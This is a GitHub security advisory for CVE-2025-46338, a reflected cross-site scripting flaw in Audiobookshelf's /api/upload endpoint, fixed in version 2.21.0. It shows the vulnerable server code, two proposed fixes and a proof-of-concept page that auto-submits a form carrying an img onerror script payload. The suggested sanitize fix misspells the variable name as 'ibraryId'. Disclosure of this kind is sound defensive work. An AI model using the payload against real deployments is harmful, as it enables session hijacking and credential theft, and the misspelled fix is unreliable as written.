Skip to content

Cross-Site-Scripting Reflected via POST Request in /api/upload

Moderate
advplyr published GHSA-47g3-c5hx-2q3w Apr 27, 2025

Package

No package listed

Affected versions

<= 2.20.0

Patched versions

2.21.0

Description

Summary

An improper input handling vulnerability in the /api/upload endpoint allows an attacker to perform a reflected cross-site scripting (XSS) attack by submitting malicious payloads in the libraryId field. The unsanitized input is reflected in the server’s error message, enabling arbitrary JavaScript execution in a victim's browser.

Details

The vulnerable code snippet:
server/controllers/MiscController.js#L35-51

async handleUpload(req, res) {
    if (!req.user.canUpload) {
      Logger.warn(`User "${req.user.username}" attempted to upload without permission`)
      return res.sendStatus(403)
    }
    if (!req.files) {
      Logger.error('Invalid request, no files')
      return res.sendStatus(400)
    }

    const files = Object.values(req.files)
    const { title, author, series, folder: folderId, library: libraryId } = req.body

    const library = await Database.libraryModel.findByIdWithFolders(libraryId)
    if (!library) {
      return res.status(404).send(`Library not found with id ${libraryId}`)
    }

When a request is made with an invalid libraryId, the server responds with an error message that directly includes the unsanitized value of libraryId. This behavior allows attackers to inject and execute arbitrary JavaScript.

  • How to Fix
    • Changing the Response Content-Type to text/plain
      By setting the response to text/plain, even if an attacker injects HTML or JavaScript, the browser will not interpret it as executable code:
      res.set('Content-Type', 'text/plain')
      return res.status(404).send(`Library not found with id ${libraryId}`)
    • Sanitize input:
      return res.status(404).send(`Library not found with id ${htmlSanitizer.sanitize(ibraryId)}`)

PoC

To reproduce the reflected XSS vulnerability, follow these steps:

  • Log in to Audiobookshelf hosted at http://0.0.0.0:13378.
  • Navigate to the HTML page that triggers the vulnerability.
  • Observe the reflected XSS when the error message with the unsanitized libraryId is displayed.
<html>
  <body>
    <form action="http://0.0.0.0:13378/api/upload" method="POST" enctype="multipart/form-data" id="csrf_form">
      <input type="file" name="file" required><br>
      <input type="hidden" name="title" value="sunsec">
      <input type="hidden" name="author" value="sunsec">
      <input type="hidden" name="series" value="sunsec">
      <input type="hidden" name="folder" value="sunsec">
      <input type="hidden" name="library" value='<img src=1 onerror=alert("xss-domain::"+document.domain)>'>
      <input type="submit" value="submit CSRF">
    </form>
    <script>
      	const fileContent = "";
	const blob = new Blob([fileContent], { type: 'text/plain' });
	const file = new File([blob], "sunsec", { type: "text/plain" });
	const fileInput = document.getElementsByName("file")[0];
	const dataTransfer = new DataTransfer();
	dataTransfer.items.add(file);  
	fileInput.files = dataTransfer.files;
	document.getElementById("csrf_form").submit();
    </script>
  </body>
</html>

Impact

This is a reflected XSS vulnerability. If exploited, an attacker can execute arbitrary JavaScript in a victim's browser, potentially leading to session hijacking, credential theft, or further exploitation

Severity

Moderate

CVE ID

CVE-2025-46338

Weaknesses

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. Learn more on MITRE.

Credits